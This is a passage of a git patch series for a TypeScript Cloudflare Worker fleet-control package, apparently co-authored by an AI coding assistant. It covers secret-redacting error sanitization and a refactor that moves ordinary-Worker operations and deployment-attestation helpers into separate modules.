readErrorFieldSafely(error, 'name'); + const directName = typeof name === 'string' ? name : undefined; + const nameFromConstructor = readErrorFieldSafely( + isErrorSafely(error) + ? readErrorFieldSafely(error, 'constructor') + : undefined, + 'name', + ); + const constructorName = + typeof nameFromConstructor === 'string' ? nameFromConstructor : undefined; + const candidate = + directName && directName !== 'Error' + ? directName + : (constructorName ?? directName); + return candidate && /^[A-Za-z][A-Za-z0-9]*Error$/.test(candidate) + ? candidate + : 'unknown'; +} + +export function sanitizedErrorCause( + error: Error, + secretValues: readonly string[], + depth = 0, + seen = new WeakMap(), +): Error { + // This boundary never throws on the values it receives: cycles, depth, + // non-string messages, throwing accessors, and hostile prototypes all + // degrade to safe values. Fresh Errors copy safe values. + const name = sanitizedErrorName(error); + seen.set(error, name); + const cause = readErrorFieldSafely(error, 'cause'); + const message = readErrorFieldSafely(error, 'message'); + let sanitizedCause: Error | { name: string } | undefined; + if (isErrorSafely(cause)) { + const memoized = seen.get(cause); + sanitizedCause = + memoized !== undefined + ? { name: memoized } + : depth + 1 >= MAX_SANITIZED_ERROR_CAUSE_DEPTH + ? { name: sanitizedErrorName(cause) } + : sanitizedErrorCause(cause, secretValues, depth + 1, seen); + } + const sanitized = new Error( + typeof message === 'string' + ? redactSecretValues(message, secretValues) + : '', + sanitizedCause === undefined ? undefined : { cause: sanitizedCause }, + ); + sanitized.name = name; + return sanitized; +} + +export function sanitizeProviderError( + error: unknown, + secretValues: readonly string[], +): unknown { + // Wrapped paths supply an SDK-constructed operand. A value that escapes when + // the SDK itself throws on the rejection before wrapping it (castToError's + // instanceof, internal/errors.mjs:11; the String()/in coercions at + // client.mjs:389-390) is outside this boundary's no-throw promise. + if (!(error instanceof APIError)) return error; + const sanitized = new Error('Cloudflare Worker upload failed'); + sanitized.name = 'CloudflareProviderError'; + Object.defineProperties(sanitized, { + status: { enumerable: true, value: error.status }, + errors: { + enumerable: true, + value: (Array.isArray(error.errors) ? error.errors : []).flatMap( + (entry) => { + if (!entry || typeof entry !== 'object') return []; + const code = readField(entry, 'code'); + const message = readField(entry, 'message'); + return [ + { + ...(typeof code === 'number' || typeof code === 'string' + ? { code } + : {}), + ...(typeof message === 'string' + ? { message: redactSecretValues(message, secretValues) } + : {}), + }, + ]; + }, + ), + }, + cause: { + enumerable: false, + // APIConnectionError keeps a cause chain because, for a rejected fetch, + // that chain is the fence or transport failure the adapter classifies + // through. The SDK drops the underlying error on its timeout arm + // (APIConnectionTimeoutError is constructed without a cause, + // core/error.mjs:81-85), so that chain is one constant level. Every other + // APIError (a provider response or the SDK's own abort error) collapses + // to { name }. + value: + error instanceof APIConnectionError + ? sanitizedErrorCause(error, secretValues) + : { name: sanitizedErrorName(error) }, + }, + }); + return sanitized; +} + +export function isNotFound(error: unknown): boolean { + return Boolean( + error && + typeof error === 'object' && + 'status' in error && + error.status === 404, + ); +} From 5ddb574e28a3a2f7b79c28dcbd7ceddaaebef0e3 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Fri, 28 Aug 2026 01:15:24 +0400 Subject: [PATCH 006/169] refactor(fleet-control): move the ordinary-Worker operations behind a context Seventeen public ordinary-Worker members of CloudflareProvisioningClient and the private #ordinaryWorkerSecretNames helper become exported free functions in cloudflare-ordinary-worker-operations.ts. Their bodies move verbatim apart from 69 receiver substitutions onto a new OrdinaryWorkerContext; each context-taking function declares the Pick slice it needs. The client keeps every one of them as a one-line forward with the identical declaration, and builds one context from values and bound arrows as the constructor's last statement. withMutationFence is reached through this, so an instance override stays observable. The attestation cluster (ProviderDeployment, exactActiveVersionId, observedTrafficSplit, attestedActiveVersionId) moves to active-route.ts. .dependency-cruiser.cjs gains fleet-control-client-layers-are-one-way, which forbids a back-import into the client from the three modules under it, with its positive-control fixture and registry entry. The fleet-control CLAUDE.md source map now names the operations and provider-error modules. No public API or behavior change, so no changeset: dist/index.d.ts, the 54 runtime export names and dist/cloudflare-provider-errors.d.ts are byte-identical, and the CloudflareProvisioningClient body in dist/cloudflare-client.d.ts diffs empty. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01XyG1jJCrVSWfVQ3Zab15Rd --- .dependency-cruiser.cjs | 16 + packages/fleet-control/CLAUDE.md | 2 +- packages/fleet-control/src/active-route.ts | 87 +++ .../fleet-control/src/cloudflare-client.ts | 667 ++--------------- .../cloudflare-ordinary-worker-operations.ts | 704 ++++++++++++++++++ .../src/cloudflare-provider-errors.ts | 9 +- .../fleet-control-leaf-imports-client.ts | 1 + .../architecture-positive-controls.test.mjs | 2 + 8 files changed, 882 insertions(+), 606 deletions(-) create mode 100644 packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts create mode 100644 scripts/architecture-fixtures/fleet-control-leaf-imports-client.ts diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index 55937659..022a8f0c 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -169,6 +169,22 @@ module.exports = { via: { pathNot: KNOWN_APPROVAL_API_CYCLE }, }, }, + { + name: 'fleet-control-client-layers-are-one-way', + severity: 'error', + comment: + 'The ordinary-Worker operations module, the provider-error module, and the active-route leaf sit under the Cloudflare client. A back-import would restore the coupling the extraction removed, and packages/fleet-control is outside no-new-architecture-cycles. tsPreCompilationDeps keeps type-only imports in the graph, so an `import type` back-edge is covered.', + from: { + path: [ + '^packages/fleet-control/src/(?:active-route|cloudflare-ordinary-worker-operations|cloudflare-provider-errors)\\.ts$', + '^scripts/architecture-fixtures/fleet-control-leaf-imports-client\\.ts$', + ], + }, + to: { + path: '^packages/fleet-control/src/cloudflare-client\\.ts$', + reachable: true, + }, + }, ], required: [ { diff --git a/packages/fleet-control/CLAUDE.md b/packages/fleet-control/CLAUDE.md index e047df99..237f6256 100644 --- a/packages/fleet-control/CLAUDE.md +++ b/packages/fleet-control/CLAUDE.md @@ -15,7 +15,7 @@ Source map: - `provision.ts`, `backend-switch.ts`, `fleet.ts`: deployment lifecycle state machines - `workers-for-platforms-backend.ts`, `wrangler-loop-backend.ts`: the two provisioning backends -- `cloudflare-client.ts`, `cloudflare-rate-coordinator.ts`: provider API and its shared quota fence +- `cloudflare-client.ts`, `cloudflare-ordinary-worker-operations.ts`, `cloudflare-provider-errors.ts`, `cloudflare-rate-coordinator.ts`: provider API (the client, the ordinary-Worker operations behind it, the SDK-error helpers) and its shared quota fence - `state-store.ts`, `migration-ledger.ts`, `export-store.ts`: durable fleet state - `workers/`: the platform's own deployed Workers, published as separate export entries diff --git a/packages/fleet-control/src/active-route.ts b/packages/fleet-control/src/active-route.ts index 50ca426a..ec71441b 100644 --- a/packages/fleet-control/src/active-route.ts +++ b/packages/fleet-control/src/active-route.ts @@ -65,6 +65,93 @@ export class ActiveRouteAttestationError extends Error { } } +export type ProviderDeployment = + | Readonly<{ + versions?: readonly Readonly<{ + percentage?: unknown; + version_id?: unknown; + }>[]; + }> + | undefined; + +export function exactActiveVersionId( + deployment: ProviderDeployment, + context: string, +): string { + if (!deployment || !Array.isArray(deployment.versions)) { + throw new Error(`${context} has no current deployment`); + } + for (const version of deployment.versions) { + if ( + typeof version.percentage !== 'number' || + !Number.isFinite(version.percentage) || + version.percentage < 0 || + version.percentage > 100 || + typeof version.version_id !== 'string' || + version.version_id.length === 0 + ) { + throw new Error(`${context} has malformed version traffic metadata`); + } + } + const onlyVersion = deployment.versions[0]; + if ( + deployment.versions.length !== 1 || + onlyVersion?.percentage !== 100 || + typeof onlyVersion.version_id !== 'string' + ) { + throw new Error( + `${context} must have exactly one current version receiving 100% of traffic`, + ); + } + return onlyVersion.version_id; +} + +/** + * The traffic split as the provider reported it, for a refusal to carry. Only + * well-formed entries survive: a malformed one is exactly what + * `exactActiveVersionId` already refused over, and inventing a shape for it + * would put a fabricated percentage into an operator-facing error. + */ +function observedTrafficSplit( + deployment: ProviderDeployment, +): readonly Readonly<{ artifactVersion: string; percentage: number }>[] { + return (deployment?.versions ?? []).flatMap((version) => + typeof version.version_id === 'string' && + typeof version.percentage === 'number' && + Number.isFinite(version.percentage) + ? [ + { + artifactVersion: version.version_id, + percentage: version.percentage, + }, + ] + : [], + ); +} + +/** + * `exactActiveVersionId` with its refusal restated as an attestation refusal + * carrying the split. The rule is unchanged and deliberately not relaxed: one + * version at 100% or nothing, never the version with the largest share. + */ +export function attestedActiveVersionId( + deployment: ProviderDeployment, + scriptName: string, +): string { + try { + return exactActiveVersionId(deployment, `ordinary Worker '${scriptName}'`); + } catch (cause) { + throw new ActiveRouteAttestationError( + cause instanceof Error ? cause.message : String(cause), + { + routedScriptName: scriptName, + trafficSplit: observedTrafficSplit(deployment), + }, + { cause }, + ); + } +} + /** The release identity a caller believes should be serving traffic. */ export interface ActiveRouteExpectation { readonly specDigest: string; diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index d28ee78d..a3ec808e 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -3,18 +3,42 @@ import { AsyncLocalStorage } from 'node:async_hooks'; import { createHash } from 'node:crypto'; import Cloudflare from 'cloudflare'; -import type { ScriptUpdateParams } from 'cloudflare/resources/workers/scripts/scripts'; -import type { VersionCreateParams } from 'cloudflare/resources/workers/scripts/versions'; import type { NamespaceListResponse } from 'cloudflare/resources/workers-for-platforms/dispatch/namespaces/namespaces'; import { toFile } from 'cloudflare/uploads'; import PQueue from 'p-queue'; -import { ActiveRouteAttestationError } from './active-route.js'; +import { exactActiveVersionId } from './active-route.js'; import { canonicalApplicationBindings } from './application-bindings.js'; +import { + attachCustomDomain, + type CloudflareSdk, + deleteOrdinaryWorkerScript, + detachCustomDomain, + disableOrdinaryWorkerPublicAccess, + dispatchOrdinaryWorkerDeployment, + dispatchOrdinaryWorkerUpload, + findOrdinaryWorkerVersion, + inspectActiveWorkerRoute, + inspectOrdinaryWorkerFootprint, + listCustomDomains, + listOrdinaryWorkerDatabases, + listOrdinaryWorkerSecretNames, + listOrdinaryWorkerVersions, + MAX_DATABASE_INVENTORY, + type PreparedOrdinaryWorkerDeploymentVersions as OperationsPreparedOrdinaryWorkerDeploymentVersions, + type PreparedOrdinaryWorkerUpload as OperationsPreparedOrdinaryWorkerUpload, + type OrdinaryWorkerContext, + type OrdinaryWorkerFootprint, + ordinaryWorkerDeploymentStatus, + ordinaryWorkerSecretNames, + prepareOrdinaryWorkerDeployment, + prepareOrdinaryWorkerUpload, + viewOrdinaryWorkerVersion, + workerMigrations, +} from './cloudflare-ordinary-worker-operations.js'; import { isNotFound, readErrorFieldSafely, sanitizedErrorName, - sanitizeProviderError, } from './cloudflare-provider-errors.js'; import type { CloudflareApiRateCoordinator } from './cloudflare-rate-coordinator.js'; import { @@ -30,14 +54,8 @@ import { FLEET_AUDIT_PROXY_STATE_BINDING, } from './platform-resources.js'; import { - assertOrdinaryWorkerDeploymentVersions, assertProviderBindingIdentitiesMatchInspection, assertSupportedProviderBindings, - providerBindingsToPlainWorkerShape, - readArrayField, - readField, - readStringField, - uploadIntentToProviderBindings, } from './provider-binding-inventory.js'; import { deploymentSpecDigest } from './spec-digest.js'; import type { @@ -67,8 +85,6 @@ const AUDIT_CONSUMER_SETTINGS = Object.freeze({ }); const SDK_TRANSPORT_TIMEOUT_MS = 2_147_483_647; const DEFAULT_INVENTORY_BOUND = 10_000; -const MAX_DATABASE_INVENTORY = 25_000; -const MAX_VERSION_INVENTORY = 5_000; export interface CloudflareClientOptions { readonly accountId: string; @@ -155,142 +171,20 @@ export interface ControlWorkerInspection { readonly zoneRoutes: readonly import('./types.js').WorkerZoneRoute[]; } -export interface OrdinaryWorkerFootprint { - readonly scriptPresent: boolean; - readonly workersDevEnabled?: boolean; - readonly previewUrlsEnabled?: boolean; - readonly customDomains: readonly Readonly<{ - id: string; - hostname: string; - service: string; - }>[]; - readonly zoneRoutes: readonly import('./types.js').WorkerZoneRoute[]; -} +export type { OrdinaryWorkerFootprint } from './cloudflare-ordinary-worker-operations.js'; const SCRIPT_INVENTORY_PREFIX = '__anchorage_script__:'; const FLEET_SCRIPT_TAG = 'fleet:anchorage'; -type ProviderDeployment = - | Readonly<{ - versions?: readonly Readonly<{ - percentage?: unknown; - version_id?: unknown; - }>[]; - }> - | undefined; - -function exactActiveVersionId( - deployment: ProviderDeployment, - context: string, -): string { - if (!deployment || !Array.isArray(deployment.versions)) { - throw new Error(`${context} has no current deployment`); - } - for (const version of deployment.versions) { - if ( - typeof version.percentage !== 'number' || - !Number.isFinite(version.percentage) || - version.percentage < 0 || - version.percentage > 100 || - typeof version.version_id !== 'string' || - version.version_id.length === 0 - ) { - throw new Error(`${context} has malformed version traffic metadata`); - } - } - const onlyVersion = deployment.versions[0]; - if ( - deployment.versions.length !== 1 || - onlyVersion?.percentage !== 100 || - typeof onlyVersion.version_id !== 'string' - ) { - throw new Error( - `${context} must have exactly one current version receiving 100% of traffic`, - ); - } - return onlyVersion.version_id; -} - -/** - * The traffic split as the provider reported it, for a refusal to carry. Only - * well-formed entries survive: a malformed one is exactly what - * `exactActiveVersionId` already refused over, and inventing a shape for it - * would put a fabricated percentage into an operator-facing error. - */ -function observedTrafficSplit( - deployment: ProviderDeployment, -): readonly Readonly<{ artifactVersion: string; percentage: number }>[] { - return (deployment?.versions ?? []).flatMap((version) => - typeof version.version_id === 'string' && - typeof version.percentage === 'number' && - Number.isFinite(version.percentage) - ? [ - { - artifactVersion: version.version_id, - percentage: version.percentage, - }, - ] - : [], - ); -} - -/** - * `exactActiveVersionId` with its refusal restated as an attestation refusal - * carrying the split. The rule is unchanged and deliberately not relaxed: one - * version at 100% or nothing, never the version with the largest share. - */ -function attestedActiveVersionId( - deployment: ProviderDeployment, - scriptName: string, -): string { - try { - return exactActiveVersionId(deployment, `ordinary Worker '${scriptName}'`); - } catch (cause) { - throw new ActiveRouteAttestationError( - cause instanceof Error ? cause.message : String(cause), - { - routedScriptName: scriptName, - trafficSplit: observedTrafficSplit(deployment), - }, - { cause }, - ); - } -} - function tagValue(tags: readonly string[], prefix: string): string | undefined { return tags.find((tag) => tag.startsWith(prefix))?.slice(prefix.length); } -type CloudflareSdk = InstanceType; -type StagedOrdinaryWorkerUploadMetadata = VersionCreateParams.Metadata & { - readonly limits?: { readonly cpu_ms: number }; -}; -type OrdinaryWorkerUploadMetadata = - | (ScriptUpdateParams.Metadata & { - readonly limits?: { readonly cpu_ms: number }; - }) - | StagedOrdinaryWorkerUploadMetadata; -const PREPARED_ORDINARY_WORKER_UPLOAD: unique symbol = Symbol( - 'fleet-control.preparedOrdinaryWorkerUpload', -); -const PREPARED_ORDINARY_WORKER_DEPLOYMENT_VERSIONS: unique symbol = Symbol( - 'fleet-control.preparedOrdinaryWorkerDeploymentVersions', -); /** @inline */ -type PreparedOrdinaryWorkerUpload = Readonly<{ - [PREPARED_ORDINARY_WORKER_UPLOAD]: true; - intent: PlainWorkerUploadIntent; - files: readonly File[]; - metadata: string; - secretValues: readonly string[]; -}>; +type PreparedOrdinaryWorkerUpload = OperationsPreparedOrdinaryWorkerUpload; /** @inline */ -type PreparedOrdinaryWorkerDeploymentVersions = readonly Readonly<{ - percentage: number; - version_id: string; -}>[] & { - readonly [PREPARED_ORDINARY_WORKER_DEPLOYMENT_VERSIONS]: true; -}; +type PreparedOrdinaryWorkerDeploymentVersions = + OperationsPreparedOrdinaryWorkerDeploymentVersions; export class CloudflareProviderRequestNotDispatchedError extends Error { constructor(cause: unknown) { @@ -299,10 +193,6 @@ export class CloudflareProviderRequestNotDispatchedError extends Error { } } -function readWorkerVersionTag(version: unknown): string | undefined { - return readStringField(readField(version, 'annotations'), 'workers/tag'); -} - function inventoryBoundExceeded(label: string, max: number): Error { return new Error( `${label} exceeded the supported inventory bound of ${max} items`, @@ -458,42 +348,7 @@ export function dispatchMigrations(spec: DeploymentSpec) { ); } -export function workerMigrations( - migrations: readonly import('./types.js').DurableObjectMigration[], - previousTag?: string, -) { - if (migrations.length === 0) return undefined; - let pending = migrations; - if (previousTag !== undefined) { - const previousIndex = migrations.findIndex( - (migration) => migration.tag === previousTag, - ); - if (previousIndex < 0) { - throw new Error( - `previous Durable Object tag '${previousTag}' is absent from the ordered migration history`, - ); - } - pending = migrations.slice(previousIndex + 1); - } - if (pending.length === 0) return undefined; - return { - new_tag: pending.at(-1)?.tag, - old_tag: previousTag, - steps: pending.map((migration) => ({ - new_sqlite_classes: migration.newSqliteClasses - ? [...migration.newSqliteClasses] - : undefined, - new_classes: migration.newClasses ? [...migration.newClasses] : undefined, - deleted_classes: migration.deletedClasses - ? [...migration.deletedClasses] - : undefined, - renamed_classes: migration.renamedClasses?.map((renamed) => ({ - from: renamed.from, - to: renamed.to, - })), - })), - }; -} +export { workerMigrations } from './cloudflare-ordinary-worker-operations.js'; async function hashExport( body: ReadableStream, @@ -535,6 +390,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { readonly #apiToken: string; readonly #dispatchNamespace: string | undefined; readonly #client: CloudflareSdk; + readonly #ordinary: OrdinaryWorkerContext; readonly #operationQueue: PQueue; readonly #requestQueue: PQueue; readonly #rateCoordinator: CloudflareApiRateCoordinator; @@ -611,6 +467,16 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { // consume the network request's lease-bounded execution budget. timeout: SDK_TRANSPORT_TIMEOUT_MS, }); + this.#ordinary = { + accountId: this.#accountId, + client: this.#client, + schedule: (operation) => this.#schedule(operation), + collectBounded: (iterable, label, max) => + this.#collectBounded(iterable, label, max), + withMutationFence: (fence, operation) => + this.withMutationFence(fence, operation), + workerRouteZoneIds: () => this.#workerRouteZoneIds(), + }; } /** Configured provider request timeout in milliseconds. */ @@ -1183,30 +1049,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { async listOrdinaryWorkerSecretNames( scriptName: string, ): Promise { - return this.#schedule(() => this.#ordinaryWorkerSecretNames(scriptName)); - } - - async #ordinaryWorkerSecretNames(scriptName: string): Promise { - const names: string[] = []; - try { - for await (const secret of this.#collectBounded( - this.#client.workers.scripts.secrets.list(scriptName, { - account_id: this.#accountId, - }), - 'ordinary Worker secret inventory', - )) { - if (!secret.name) { - throw new Error( - `ordinary Worker '${scriptName}' returned a secret without a name`, - ); - } - names.push(secret.name); - } - } catch (error) { - if (isNotFound(error)) return []; - throw error; - } - return names.sort(); + return listOrdinaryWorkerSecretNames(this.#ordinary, scriptName); } async #dispatchScripts( @@ -1306,288 +1149,68 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { async listOrdinaryWorkerDatabases(): Promise< readonly PlainWorkerDatabaseInventoryEntry[] > { - return this.#schedule(async () => { - const databases: PlainWorkerDatabaseInventoryEntry[] = []; - for await (const database of this.#collectBounded( - this.#client.d1.database.list({ - account_id: this.#accountId, - per_page: 100, - }), - 'D1 database inventory', - MAX_DATABASE_INVENTORY, - )) { - databases.push({ - databaseId: readStringField(database, 'uuid'), - name: readStringField(database, 'name'), - }); - } - return databases; - }); + return listOrdinaryWorkerDatabases(this.#ordinary); } async ordinaryWorkerDeploymentStatus( scriptName: string, ): Promise { - return this.#schedule(async () => { - try { - const listed = await this.#client.workers.scripts.deployments.list( - scriptName, - { - account_id: this.#accountId, - }, - ); - const deployment = listed.deployments[0]; - if (!deployment) return undefined; - return { - versions: readArrayField(deployment, 'versions').map((version) => { - const rawPercentage = readField(version, 'percentage'); - return { - versionId: - readStringField(version, 'id') ?? - readStringField(version, 'version_id'), - percentage: - rawPercentage === undefined ? undefined : Number(rawPercentage), - }; - }), - }; - } catch (error) { - if (isNotFound(error)) return undefined; - throw error; - } - }); + return ordinaryWorkerDeploymentStatus(this.#ordinary, scriptName); } async listOrdinaryWorkerVersions( scriptName: string, ): Promise { - return this.#schedule(async () => { - let yielded = false; - try { - const versions: PlainWorkerVersionSummary[] = []; - for await (const version of this.#collectBounded( - this.#client.workers.scripts.versions.list(scriptName, { - account_id: this.#accountId, - per_page: 100, - }), - 'ordinary Worker version inventory', - MAX_VERSION_INVENTORY, - )) { - yielded = true; - versions.push({ - versionId: - readStringField(version, 'id') ?? - readStringField(version, 'version_id'), - tag: readWorkerVersionTag(version), - }); - } - return versions; - } catch (error) { - if (!yielded && isNotFound(error)) return undefined; - throw error; - } - }); + return listOrdinaryWorkerVersions(this.#ordinary, scriptName); } async viewOrdinaryWorkerVersion( scriptName: string, versionId: string, ): Promise { - return this.#schedule(async () => { - const version = await this.#client.workers.scripts.versions.get( - versionId, - { account_id: this.#accountId, script_name: scriptName }, - ); - return { - versionId: - readStringField(version, 'id') ?? - readStringField(version, 'version_id'), - tag: readWorkerVersionTag(version), - bindings: providerBindingsToPlainWorkerShape( - readArrayField(readField(version, 'resources'), 'bindings'), - ), - }; - }); + return viewOrdinaryWorkerVersion(this.#ordinary, scriptName, versionId); } async findOrdinaryWorkerVersion( scriptName: string, versionId: string, ): Promise { - try { - return await this.viewOrdinaryWorkerVersion(scriptName, versionId); - } catch (error) { - if (isNotFound(error)) return undefined; - throw error; - } + return findOrdinaryWorkerVersion(this.#ordinary, scriptName, versionId); } async prepareOrdinaryWorkerUpload( intent: PlainWorkerUploadIntent, ): Promise { - for (const module of intent.modules) { - if ( - !module || - typeof module.name !== 'string' || - (typeof module.content !== 'string' && - !(module.content instanceof Uint8Array)) || - (module.contentType !== undefined && - typeof module.contentType !== 'string') - ) { - throw new TypeError( - 'ordinary Worker modules must contain valid upload data', - ); - } - } - const bindings = uploadIntentToProviderBindings(intent); - const secretValues = intent.bindings.secrets.map(({ value }) => value); - const baseMetadata: StagedOrdinaryWorkerUploadMetadata = { - main_module: intent.mainModule, - bindings, - compatibility_date: intent.compatibilityDate, - compatibility_flags: intent.compatibilityFlags - ? [...intent.compatibilityFlags] - : undefined, - limits: - intent.limits.cpuMs === undefined - ? undefined - : { cpu_ms: intent.limits.cpuMs }, - annotations: { 'workers/tag': intent.candidateTag }, - }; - const metadata: OrdinaryWorkerUploadMetadata = - intent.mode === 'initial' - ? { - ...baseMetadata, - migrations: workerMigrations(intent.durableObjectMigrations), - } - : baseMetadata; - const encodedMetadata = JSON.stringify(metadata); - const files = await Promise.all( - intent.modules.map((module) => - toFile( - typeof module.content === 'string' - ? new TextEncoder().encode(module.content) - : module.content, - module.name, - { - type: module.contentType ?? 'application/javascript+module', - }, - ), - ), - ); - return { - [PREPARED_ORDINARY_WORKER_UPLOAD]: true, - intent, - files, - metadata: encodedMetadata, - secretValues, - }; + return prepareOrdinaryWorkerUpload(intent); } async dispatchOrdinaryWorkerUpload( prepared: PreparedOrdinaryWorkerUpload, ): Promise { - const { files, intent, metadata, secretValues } = prepared; - await this.#schedule(async () => { - const subdomain = this.#client.workers.scripts.subdomain; - const uploadBody = { - account_id: this.#accountId, - files: [...files], - // cloudflare/internal/uploads.mjs:102-129 bracket-flattens objects; - // Wrangler 4.118.0 serializes the same metadata value as JSON. - metadata: metadata as never, - }; - const send = async (call: () => Promise): Promise => { - try { - await call(); - } catch (error) { - throw sanitizeProviderError(error, secretValues); - } - }; - if (intent.mode === 'initial') { - await send(() => - this.#client.workers.scripts.update(intent.scriptName, uploadBody, { - maxRetries: 0, - }), - ); - // Sanitization is limited to the upload request that carries secrets. - // Cloudflare rejects subdomain writes before the script exists. The - // caller attests public access before adopting a reconciled upload. - await subdomain.create(intent.scriptName, { - account_id: this.#accountId, - enabled: intent.publicAccess.workersDevEnabled, - previews_enabled: intent.publicAccess.previewUrlsEnabled, - }); - return; - } - const current = await subdomain.get(intent.scriptName, { - account_id: this.#accountId, - }); - if ( - current.enabled !== intent.publicAccess.workersDevEnabled || - current.previews_enabled !== intent.publicAccess.previewUrlsEnabled - ) { - // The staged path can converge public access first because the script - // exists; write-on-difference moves it toward the constant intent. - await subdomain.create(intent.scriptName, { - account_id: this.#accountId, - enabled: intent.publicAccess.workersDevEnabled, - previews_enabled: intent.publicAccess.previewUrlsEnabled, - }); - } - await send(() => - this.#client.workers.scripts.versions.create( - intent.scriptName, - uploadBody, - { maxRetries: 0 }, - ), - ); - }); + return dispatchOrdinaryWorkerUpload(this.#ordinary, prepared); } prepareOrdinaryWorkerDeployment( versions: readonly OrdinaryWorkerDeploymentVersion[], ): PreparedOrdinaryWorkerDeploymentVersions { - assertOrdinaryWorkerDeploymentVersions(versions); - return Object.assign( - versions.map(({ versionId, percentage }) => ({ - percentage, - version_id: versionId, - })), - { [PREPARED_ORDINARY_WORKER_DEPLOYMENT_VERSIONS]: true as const }, - ); + return prepareOrdinaryWorkerDeployment(versions); } async dispatchOrdinaryWorkerDeployment( scriptName: string, versions: PreparedOrdinaryWorkerDeploymentVersions, ): Promise { - await this.#schedule(() => - this.#client.workers.scripts.deployments.create( - scriptName, - { - account_id: this.#accountId, - strategy: 'percentage', - versions: [...versions], - }, - { maxRetries: 0 }, - ), + return dispatchOrdinaryWorkerDeployment( + this.#ordinary, + scriptName, + versions, ); } async deleteOrdinaryWorkerScript( scriptName: string, ): Promise<'deleted' | 'absent'> { - return this.#schedule(async () => { - try { - await this.#client.workers.scripts.delete(scriptName, { - account_id: this.#accountId, - }); - return 'deleted'; - } catch (error) { - if (isNotFound(error)) return 'absent'; - throw error; - } - }); + return deleteOrdinaryWorkerScript(this.#ordinary, scriptName); } async findDatabase(name: string): Promise { @@ -2281,7 +1904,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { this.#client.workers.scripts.subdomain.get(scriptName, { account_id: this.#accountId, }), - this.#ordinaryWorkerSecretNames(scriptName), + ordinaryWorkerSecretNames(this.#ordinary, scriptName), ]); const bindings = activeVersion.resources.bindings ?? []; const databaseIds = bindings.flatMap((binding) => @@ -2753,7 +2376,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { this.#client.workers.scripts.subdomain.get(scriptName, { account_id: this.#accountId, }), - this.#ordinaryWorkerSecretNames(scriptName), + ordinaryWorkerSecretNames(this.#ordinary, scriptName), ]); const bindings = activeVersion.resources.bindings ?? []; const databaseIds = bindings.flatMap((binding) => @@ -3002,94 +2625,27 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { scriptName: string, fence: ExternalMutationFence, ): Promise { - await this.withMutationFence(fence, () => - this.#schedule(async () => { - try { - await this.#client.workers.scripts.subdomain.create(scriptName, { - account_id: this.#accountId, - enabled: false, - previews_enabled: false, - }); - } catch (error) { - if (!isNotFound(error)) throw error; - return; - } - const subdomain = await (async () => { - try { - return await this.#client.workers.scripts.subdomain.get( - scriptName, - { account_id: this.#accountId }, - ); - } catch (error) { - if (!isNotFound(error)) throw error; - return undefined; - } - })(); - if (!subdomain) return; - if (subdomain.enabled === true || subdomain.previews_enabled === true) { - throw new Error( - `ordinary Worker '${scriptName}' retains public subdomain ingress`, - ); - } - }), - ); + return disableOrdinaryWorkerPublicAccess(this.#ordinary, scriptName, fence); } async listCustomDomains(): Promise< readonly OrdinaryWorkerFootprint['customDomains'][number][] > { - return this.#schedule(async () => { - const domains: Array = - []; - for await (const domain of this.#collectBounded( - this.#client.workers.domains.list({ account_id: this.#accountId }), - 'custom domain inventory', - )) { - if (!domain.id || !domain.hostname || !domain.service) { - throw new Error( - 'Cloudflare returned incomplete custom-domain metadata', - ); - } - domains.push({ - id: domain.id, - hostname: domain.hostname, - service: domain.service, - }); - } - return domains; - }); + return listCustomDomains(this.#ordinary); } attachCustomDomain( target: { readonly hostname: string; readonly service: string }, fence: ExternalMutationFence, ): Promise { - return this.withMutationFence(fence, () => - this.#schedule(async () => { - await this.#client.workers.domains.update({ - account_id: this.#accountId, - hostname: target.hostname, - service: target.service, - }); - }), - ); + return attachCustomDomain(this.#ordinary, target, fence); } detachCustomDomain( domainId: string, fence: ExternalMutationFence, ): Promise { - return this.withMutationFence(fence, () => - this.#schedule(async () => { - try { - await this.#client.workers.domains.delete(domainId, { - account_id: this.#accountId, - }); - } catch (error) { - if (!isNotFound(error)) throw error; - } - }), - ); + return detachCustomDomain(this.#ordinary, domainId, fence); } async inspectActiveWorkerRoute(scriptName: string): Promise< @@ -3099,104 +2655,13 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { }> | undefined > { - return this.#schedule(async () => { - let deploymentList: Awaited< - ReturnType - >; - try { - deploymentList = await this.#client.workers.scripts.deployments.list( - scriptName, - { account_id: this.#accountId }, - ); - } catch (error) { - if (isNotFound(error)) return undefined; - throw error; - } - const artifactVersion = attestedActiveVersionId( - deploymentList.deployments[0], - scriptName, - ); - const version = await this.#client.workers.scripts.versions.get( - artifactVersion, - { account_id: this.#accountId, script_name: scriptName }, - ); - const specDigest = (version.resources.bindings ?? []).flatMap( - (binding) => - binding.type === 'plain_text' && binding.name === 'FLEET_SPEC_DIGEST' - ? [binding.text] - : [], - )[0]; - return { - artifactVersion, - specDigest: typeof specDigest === 'string' ? specDigest : undefined, - }; - }); + return inspectActiveWorkerRoute(this.#ordinary, scriptName); } async inspectOrdinaryWorkerFootprint( scriptName: string, ): Promise { - return this.#schedule(async () => { - let scriptPresent = false; - for await (const script of this.#collectBounded( - this.#client.workers.scripts.list({ account_id: this.#accountId }), - 'ordinary Worker script inventory', - )) { - if (script.id === scriptName) scriptPresent = true; - } - const customDomains: Array<{ - id: string; - hostname: string; - service: string; - }> = []; - for await (const domain of this.#collectBounded( - this.#client.workers.domains.list({ account_id: this.#accountId }), - 'custom domain inventory', - )) { - if (domain.service !== scriptName) continue; - if (!domain.id || !domain.hostname) { - throw new Error( - `ordinary Worker '${scriptName}' has incomplete custom-domain metadata`, - ); - } - customDomains.push({ - id: domain.id, - hostname: domain.hostname, - service: domain.service, - }); - } - const zoneRoutes: import('./types.js').WorkerZoneRoute[] = []; - for (const zoneId of await 